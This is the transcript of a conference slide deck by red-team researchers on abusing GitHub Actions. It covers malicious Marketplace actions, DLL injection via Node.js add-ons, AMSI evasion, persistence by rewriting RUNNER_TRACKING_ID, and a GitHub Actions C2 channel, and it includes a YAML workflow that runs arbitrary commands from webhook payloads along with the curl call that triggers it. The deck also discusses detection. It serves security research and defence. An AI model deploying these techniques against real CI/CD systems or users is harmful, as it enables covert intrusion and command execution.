$30 off During Our Annual Pro Sale. View Details »

The Dark Playground of CICD: Attack Delivery by GitHub Actions

The Dark Playground of CICD: Attack Delivery by GitHub Actions

BSides LV, Cloud Village, AppSec Villageで発表した「The Dark Playground of CI/CD: Attack Delivery by GitHub Actions」の講演資料です

・BSides LV 2023
 ・2023/8/10
 ・https://bsideslv.org/talks#Q83C7G

・Cloud Village@DEFCON31
 ・2023/8/10
 ・https://cloud-village.org/#talks?collapseyusukekubokiyohitoyamamoto

・AppSec Village@DEFCON31
 ・2023/8/10
 ・https://www.appsecvillage.com/events/dc-2023/the-dark-playground-of-ci-cd-attack-delivery-by-github-actions-484671

NTT Communications

August 24, 2023
Tweet

More Decks by NTT Communications

Other Decks in Research

Transcript

  1. © NTT Communications Corporation All Rights Reserved.
    The Dark Playground of CI/CD
    Attack Delivery by GitHub Actions
    NTT Communications
    Innovation Center (R&D Team)
    Yusuke Kubo, Kiyohito Yamamoto

    View Slide

  2. © NTT Communications Corporation All Rights Reserved. 2
    T1087 - Account Discovery
    Yusuke Kubo Kiyohito Yamamoto
    ・NTT Communications, Japanese Telecommunication Company
    ・Offensive Security Researcher / Internal Red Team
    ・MITRE ATT&CK Contributor(T1562.009)
    ・NTT Group Certified Security Principal

    View Slide

  3. © NTT Communications Corporation All Rights Reserved. 3
    Agenda
    l Basics of Github Actions
    l Malicious Custom Action
    l Malicious JScript Composite Action
    l Malicious JavaScript Custom Action
    l Github Actions C2
    l Other Threats
    l Free Jacking
    l Public Malicious Fork and PR
    l Theft of Secret
    l Conclusion
    l Feature Work
    We focused on the potential for attacks using
    GitHub Actions, a CICD feature provided by GitHub.
    And, our research has uncovered attack vectors to
    focus on.
    Main Topic

    View Slide

  4. © NTT Communications Corporation All Rights Reserved. 4
    Basics of Github Actions

    View Slide

  5. © NTT Communications Corporation All Rights Reserved. 5
    Github Actions
    nGithub Actions is CI/CD Platform provided by Github.
    https://docs.github.com/ja/actions/learn-github-actions/understanding-github-actions
    Overview of Github Actions The Component of Github Actions A runner is a server that
    runs the workflows
    An event is a specific activity in a
    repository that triggers a workflow run
    A job is a set of steps in a workflow that
    is executed on the same runner
    An ac'on is a custom applica9on for the
    GitHub Ac9ons placomplex but frequently repeated task

    View Slide

  6. © NTT Communications Corporation All Rights Reserved. 6
    Runner Type
    Self-hosted runner
    GitHub-hosted runner
    Raising an Event
    (e.g., push to repository)
    Workflow
    is executed
    User
    Runner
    nRunner is of two types
    nRun with resources provided by Github = GitHub-hosted runner
    nRun with resources provided by the user = Self-hosted runner
    nThis research focuses on the case of running on Windows
    Resources provided by Github
    Run an agent called
    Runner Application
    Runner
    Raising an Event
    (e.g., push to repository)
    User
    Workflow
    is executed
    User-managed resources

    View Slide

  7. © NTT Communications Corporation All Rights Reserved. 7
    Custom Actions
    Can be build Docker container, JavaScript, and composite actions
    Type
    n Actions are individual tasks that you can combine to create jobs and customize your workflow
    n We can create own actions, or use and customize actions shared by the GitHub community
    https://github.com/marketplace
    Can be placed in the own repository or in the Gihtub Marketplace
    package the environment
    with the GitHub Actions code
    run JavaScript
    on the Runner machine
    allows to combine multiple
    workflow steps within one action
    We focus on the types that support Windows
    Location
    Action
    Action
    https://docs.github.com/en/actions/creating-actions/about-custom-actions

    View Slide

  8. © NTT Communications Corporation All Rights Reserved. 8
    Malicious Custom Action

    View Slide

  9. © NTT Communications Corporation All Rights Reserved. 9
    JavaScript Action Behavior
    n Runner.Worker.exe executes node.exe which is the JavaScript runtime
    n index.js is passed as an argument to node.exe. This is defined in the action metadata file.
    n node.exe is included in runner package(zip) for Runner Application
    n node.exe is extracted to externals¥node12¥bin¥node.exe and externals¥node16¥bin¥node.exe
    Visualization of Runner Application behavior(by ProcMon & ProcDot)
    Entry Point
    Action metadata file
    https://docs.github.com/en/actions
    /creating-actions/creating-a-javascript-action
    Runtime
    Runtime
    Runner Package
    [binary]
    node.exe
    [argument]
    index.js
    Runner.Worker.exe

    View Slide

  10. © NTT Communications Corporation All Rights Reserved. 10
    JScript vs JavaScript
    n Basic compatibility, but JScript and JavaScript are different.
    n JScript(WSH) doesnʼt support npm module but supports ActiveX. JScript is often used for endpoint attacks.
    n JavaScript doesnʼt support ActiveX but supports npm module.
    n We focused on two types of Malicious Custom Action techniques
    n Malicious JScript Composite Action(JScript version)
    n Malicious JavaScript Custom Action(JavaScript version)
    https://en.wikipedia.org/wiki/JScript

    View Slide

  11. © NTT Communications Corporation All Rights Reserved. 11
    Malicious JScript Custom Action
    wscript.exe node.exe
    n Binary Hijacking and Masquerading to execute JavaScript Custom Action implemented in JScript
    n Implement the following flow in the Github Actions workflow and execute JScript
    1. Copy wscript.exe to the path of node.exe (= replace node.exe and wscript.exe)
    2. Execute JavaScript Custom Action
    [index.js]
    WScript.Echo(“Hello, World”);
    [.github/actions/mal-action]
    Attacker
    [.github/workflows/sample.yaml]
    step1:copy wscript.exe
    step2:execute mal-action Target
    Step1:
    Copy wscript.exe to
    ¥externals¥node16¥bin¥node.exe
    Step2:
    index.js is executed from node.exe (wscript.exe)
    index.js
    node.exe
    【Endpoint Behavior】
    JavaScript Custom Action implemented in JScript
    Github Actions configuration
    Push to repository
    Workflow
    is executed

    View Slide

  12. © NTT Communications Corporation All Rights Reserved. 12
    Composite Action
    n Multiple steps can be bundle into a single Composite Action
    n Composite Action makes steps being used across workflows reusable
    n The reason for the Composite Action is explained later
    [index.js]
    WScript.Echo(“Hello, World”);
    [.github/actions/mal-action]
    JavaScript Custom Action implemented in JScript
    [.github/workflows/sample.yaml]
    step1: Copy wscript.exe
    step2: Execute mal-action
    Github Actions configuration
    [index.js]
    WScript.Echo(“Hello, World”);
    [.github/actions/mal-action]
    JavaScript Custom Action implemented in JScript
    [.github/workflows/sample.yaml]
    step1: Execute mal-compsite-action
    Github Actions configuration
    [.github/actions/mal-composite-action]
    step1: Copy wscript.exe
    step2: Execute mal-action
    Composite Action
    Without Composite Action With Composite Action

    View Slide

  13. © NTT Communications Corporation All Rights Reserved. 13
    Malicious JScript Composite Action
    Attacker
    Target
    Push to repository
    Workflow
    is executed
    [index.js]
    WScript.Echo(“Hello, World”);
    [.github/actions/mal-action]
    JavaScript Custom actions implemented in JScript
    [.github/workflows/ sample.yaml]
    step1: Execute mal-comopiste-action
    Github Actions configuration
    [.github/actions/mal-composite-action]
    step1: Copy wscript.exe
    step2: Execute mal-action
    Composite Action

    View Slide

  14. © NTT Communications Corporation All Rights Reserved. 14
    Malicious JScript Composite Action PoC
    .github/workflows/sample.yaml
    .github/actions/mal-composite-action/action.yaml
    .github/actions/mal-action/action.yaml
    .github/actions/mal-action/index.js
    Github Actions Config Composite Action
    JavaScript Custom Action Malicious JScript
    Placed the action in its own repository for external impact.
    Therefore, it requires a checkout action

    View Slide

  15. © NTT Communications Corporation All Rights Reserved. 15
    DEMO
    Malicious JScript Composite Action to infect CobaltStrike C2

    View Slide

  16. © NTT Communications Corporation All Rights Reserved. 16

    View Slide

  17. © NTT Communications Corporation All Rights Reserved. 17
    Malicious JavaScript Custom Action
    Implementation part of injectDLL in memoryjs library
    n Arbitrary attacks from JavaScript Custom Action using Nodejs C++ add-on
    n This feature provides an interface between JavaScript and C/C++ libraries
    = C/C++ code can be executed from nodejs
    n The package “memoryjs” implements the OpenProcess and InjectDLL functions.
    n OpenProcess can open a process and get a handle
    n injectDLL can inject a DLL in the Allocate, Write, Execution flow.
    = memoryjs allows DLL Injection from nodejs script to remote process
    https://github.com/Rob--
    /memoryjs/blob/2c0ff84ae0ec1ff2ea3b493ca02be5f12f8d5ea0/lib/dll.h
    nodejs script to execute OpenProcess
    Output(processObject)

    View Slide

  18. © NTT Communications Corporation All Rights Reserved. 18
    Malicious JavaScript Custom Action PoC
    Github Actions Config JavaScript Custom Action
    Malicious JavaScript
    .github/workflows/sample.yaml
    .github/actions/mal-action/action.yaml
    .github/actions/mal-action/index.js
    Directory of .github/actions/mal-action
    node modules
    (include “memoryjs”)
    Simple DLL to launch calculator

    View Slide

  19. © NTT Communications Corporation All Rights Reserved. 19
    Attack Scenario: Release of malicious actions
    n Attacker can publish and share custom actions in GitHub Marketplace
    n It could be published fake custom action under the guise of being legitimate
    n e.g. Looks like an action that works as a formatter (in truth, a back door is planted)
    n There is a threat of users using published malicious actions in their workflow
    Target
    ④Getting Action
    User
    ②Setting up
    Github Actions
    ③Workflow
    is executed
    Attacker
    ①Publish
    Malicious Actions
    https://github.com/marketplace

    View Slide

  20. © NTT Communications Corporation All Rights Reserved. 20
    Attack Scenario: Why Composite Action
    n Composite Actions can be combined into a single custom action
    n Complete a workflow with a single step, without the need for other steps
    n = Attacker can publish fake actions including backdoor on the GitHub Marketplace
    [index.js]
    WScript.Echo(“Hello, World”);
    mal-action@MarketPlace
    [.github/workflows/sample.yaml]
    step1: Copy wscript.exe
    step2: Execute mal-action
    Without Composite Action
    [index.js]
    WScript.Echo(“Hello, World”);
    [mal-action@MarketPlace] [mal-composite-action@Marketplace]
    step1: Copy wscript.exe
    step2: Execute mal-action
    With Composite Action
    Victims may use fake action
    published on MarketPlace
    Victims may use fake action
    published on MarketPlace
    [Problem]
    Who set up this step?
    Publish on Github MarketPlace
    Publish on Github MarketPlace
    Github Actions configuration
    Composite Action
    Github Actions configuration
    [.github/workflows/sample.yaml]
    step1: Execute mal-compsite-action
    JavaScript Custom Action implemented in JScript JavaScript Custom Action implemented in JScript

    View Slide

  21. © NTT Communications Corporation All Rights Reserved. 21
    Advanced Technique: Persistence
    n Runner Application is killing the associated child processes at the end of the workflow
    n Itʼs mean, when "create process" is performed, the launched process is tracked and killed
    n Process environment variable named RUNNER_TRACKING_ID is used to track
    = Tracking can be disabled by rewriting RUNNER_TRACKING_ID
    jscript to rewrite process environment variables
    Process environment variables for werfault.exe
    Persistent C2 Process
    Runner Application
    Process Tree
    Earlybird Injection
    + PPID Spoofing
    characteristic environment
    variables such as
    “GITHUB_” and “RUNNER_”
    indicates that it has been persisted

    View Slide

  22. © NTT Communications Corporation All Rights Reserved. 22
    Counter-Measure for Malicious Custom Actions
    n Github publishes Best Practice in chapter “Using third-party actions”
    =Github is aware of the threat of malicious custom actions being published
    https://docs.github.com/en/actions/security-guides/security-hardening-for-
    github-actions#using-third-party-actions

    View Slide

  23. © NTT Communications Corporation All Rights Reserved. 23
    Detection: Malicious JScript Composite Action
    n EDR detects the execution of wscript.exe replaced by the name node.exe
    n JS files are deployed to the host and are detected by AV
    This is an unchangeable part of the Malicious
    JScript Composite Action technique, so it is a
    valid detection point.
    Not an effective detection point because it is
    bypassed depending on the implementation of
    the malicious script

    View Slide

  24. © NTT Communications Corporation All Rights Reserved. 24
    Detection: Malicious JScript Composite Action
    n AMSI Scan Buffer can be bypassed by simply changing a part of JScript
    n In this demo, GadgetToJScript was used to generate a js file that performs Process Injection
    n Simply changing some characteristic strings specific to the tool will prevent detection
    https://twitter.com/an0n_r0/status/1633620693504913408
    Reported on twitter by @an0n_r0
    Diff before (detected) and after (not detected) the change

    View Slide

  25. © NTT Communications Corporation All Rights Reserved. 25
    Detection: Malicious JavaScript Custom Action
    n Harder to detect than Malicious JScript Composite Action
    n Malicious JavaScript Custom Actions doesnʼt require replacement of the scripting engine
    = One less detection point in EDR
    n Probably the only way to detect malicious code and behavior by javascript and C++ addon
    n e.g. Credential Dumping, Exfiltration etc
    n Likely effective for AMSI Bypass
    n Using a scripting engine that does not support AMSI is said to be
    an effective means of AMSI Bypass
    n Experimented with the string "AmsiScanBuffer" as oracle,
    node.exe is not detected by AMSI
    n Checked the DLLs loaded by node.exe in API Monitor and amsi.dll does not exist
    Attempt to output "AmsiScanBuffer”
    DLLs loaded by node.exe

    View Slide

  26. © NTT Communications Corporation All Rights Reserved. 26
    GitHub Actions C2

    View Slide

  27. © NTT Communications Corporation All Rights Reserved. 27
    GitHub Actions C2
    Attacker
    C2 communication
    Target
    Pushing malicious GitHub Actions Config
    Attackerʻs own repository
    Self-hosted Runner
    Application
    n C2 by utilizing GitHub Actions runner application as an agent
    n Threat from the following two perspectives:
    n The source process is a legitimate application(Runner.Worker.exe, Runner.Listener.exe)
    n The destination is a legitimate domain and IP (*.github.com, *.actions.githubusercontent.com)

    View Slide

  28. © NTT Communications Corporation All Rights Reserved. 28
    How to establish C2 on GitHub Actions
    n Runner application, when launched, performs long polling against GitHub to await jobs.
    n Each runner should be assigned a unique identification label specific to the target machine.
    n This allows attacker to send command individually when establishing C2 connection with
    multiple targets.
    ①Create a repository
    for attacks
    Attacker
    ①Download Runner Application
    ②Send Runner Application
    (e.g., phishing)
    ③Execute
    Runner Application
    ④Establish
    Github Actions
    (= Establish C2)
    Target

    View Slide

  29. © NTT Communications Corporation All Rights Reserved. 29
    How to send commands on GitHub Actions C2
    n Any shell commands can be executed via GitHub Actionsʼ workflow.
    n To trigger the workflow while passing instructions from outside of GitHub, use Webhook event
    called "repository_dispatch"
    n Plus, using the just introduced Malicious Custom Actions, more advanced attacks can also be
    performed.
    name: c2
    on: repository_dispatch
    jobs:
    c2run:
    ...
    steps:
    - name: cmd
    if: ${{ github.event.client_payload.type == 'cmd’ }}
    run: "${{ github.event.client_payload.cmd }}"
    Workflow sample
    curl -L ¥
    -X POST ¥
    -H "Accept: application/vnd.github+json" ¥
    -H "Authorization: Bearer "¥
    -H "X-GitHub-Api-Version: 2022-11-28" ¥
    https://api.github.com/repos/OWNER/REPO/dispatc
    hes ¥
    -d
    '{"event_type":"command","client_payload":{"typ
    e":"cmd","cmd":"whoami"}}'
    Repository_dispatch sample event

    View Slide

  30. © NTT Communications Corporation All Rights Reserved. 30
    GitHub Actions C2 PoC

    View Slide

  31. © NTT Communications Corporation All Rights Reserved. 31
    Attack Scenario: GitHub Actions C2
    ①Create a repository
    for attacks
    ④ʼWorkflow
    is executed
    Attacker
    ①ʼ Download Runner Application
    ② Send Runner Application
    (e.g., phishing)
    ③ Execute
    Runner Application
    ③ʼ Establish
    Github Actions
    (= Establish C2)
    ④ Pushing malicious Github Actions Config
    Target
    1. Attacker creates a public repository for attacks.
    2. Attacker sends their runner application to targets using techniques such as phishing.
    3. Target user unknowingly runs the application and C2 communication is established.
    4. Attacker calls Webhook to trigger workflows and malicious jobs are run on the target.

    View Slide

  32. © NTT Communications Corporation All Rights Reserved. 32
    Detection: GitHub Actions C2
    n Since source process and destination domain is legitimate, C2 establishment is hard to detect.
    n Source process: Runner.Worker.exe, Runner.Listener.exe
    n Destination domain: *.github.com, *.actions.githubusercontent.com, …
    n Don't dismiss alerts for activities related to GitHub Actions C2 just because they seem legitimate.
    n They could indicate the use of GitHub Actions C2 as TTP.
    Communications between self-hosted runners and GitHub

    View Slide

  33. © NTT Communications Corporation All Rights Reserved. 33
    Other Threats
    Free Jacking, Malicious Public Fork & PR, and Stealing Secrets

    View Slide

  34. © NTT Communications Corporation All Rights Reserved. 34
    Free Jacking
    GitHubʼs resource
    Attacker
    GitHub Actions configuration file
    (YAML) with a mining script included
    Configure
    Github Actions
    Execute GitHub Actions
    The mining script is
    executed using GitHub
    resources.
    Rewards can be obtained
    through mining utilizing
    GitHub resources.
    n Free Jacking is the process of using free (or limited-time) cloud resources to perform
    cryptomining operations. https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/

    View Slide

  35. © NTT Communications Corporation All Rights Reserved. 35
    Free Jacking on GitHub Actions
    Specification Change
    by GitHub (Fork & PR
    Approval)
    n Forking a public repository, embedding mining code into GitHub Actions, and sending a Pull
    Request trigger mining using GitHub resources.
    n To prevent this, approvals have been required to run workflows from public forks since April
    2021.
    n Attackers have shifted their focus towards automatically creating GitHub accounts, executing
    GitHub Actions, and exploiting GitHub resources.

    View Slide

  36. © NTT Communications Corporation All Rights Reserved. 36
    Malicious Public Fork & PR
    GitHub Docs: adding self-hosted runner
    https://github.com/praetorian-inc/gato
    First commit on 2023/01/07
    n If a self-hosted runner is being used with a public repository, GitHub Actions may become a
    potential entry point for external attackers to gain initial foothold.
    n GitHub recommends using self-hosted runners only for private repositories. However, it's worth
    noting that there are numerous organizations that still utilize self-hosted runners.
    n There are tools available for exploring public repositories that use self-hosted runners, and
    investigations are planned to assess the actual situation.

    View Slide

  37. © NTT Communications Corporation All Rights Reserved. 37
    Stealing Secrets
    Access to secrets
    Karim Rahal has mentioned the theft of secrets from the
    perspective of environment variables, network traffic, and
    memory.
    https://docs.github.com/ja/actions/using-workflows/workflow-syntax-for-github-actions
    C.J. May's statement is based on actual incidents
    and suggests that malicious actions have already
    been published on the Marketplace.
    n GitHub provides a feature to create encrypted environment variables called "secrets" at the
    organization or repository level.
    n Secrets can be accessed by GitHub Actions when they are set up for the repository.
    n This poses a potential risk of secrets being stolen if accessed by external attackers through
    GitHub Actions.

    View Slide

  38. © NTT Communications Corporation All Rights Reserved. 38
    Conclusion
    n By utilizing the features offered by CI/CD, such as command and script execution, it is possible
    to launch an attack within the legitimate CI/CD process.
    n Malicious code may infiltrate the CI/CD pipeline without notice through a publicly available
    malicious plugin (Malicious Custom Action).
    n There is a risk of enabling C2 through the legitimate features offered by CI/CD which add user-
    owned hosts for executing tasks (GitHub Actions C2).

    View Slide

  39. © NTT Communications Corporation All Rights Reserved. 39
    Future Work
    Threat Analysis from Different Perspectives:
    n Examination of threats when considering organizations instead of the entire GitHub platform.
    n Exploring the possibility of GitHub Actions becoming a starting point for lateral movement if an organization's
    GitHub accounts are compromised.
    n Assessing threats from the perspective of Linux and macOS systems.
    n Analyzing the impact of transforming GitHub Actions into a service.
    Threat Analysis of Other CI/CD Tools:
    n Evaluating the security threats associated with other CI/CD tools such as CircleCI that provide similar functionalities to
    GitHub Actions.
    n Determining if there are similar threats across different CI/CD tools or if there are specific differences based on the
    services offered.
    Validation of Malicious JavaScript Custom Actions (Node.js-based Post Exploitation):
    n Implementing attack techniques using C++ add-ons to explore alternative methods apart from DLL Injection.
    n Conducting detection and analysis experiments with AV/EDR solutions.
    n Modifying implementation logic to assess variations in attack vectors.
    n Investigating scenarios where C++ add-ons execute the attack while JavaScript serves as the trigger, along with
    the role of C++ add-ons as Windows API wrappers and JavaScript for assembling the attack.
    Investigation of Existing Custom Actions in the GitHub Actions Marketplace:
    n Examining the reality of custom actions already published in the Marketplace.
    n Identifying existing threats and raising awareness if such threats are already present.
    Widely
    Deeply

    View Slide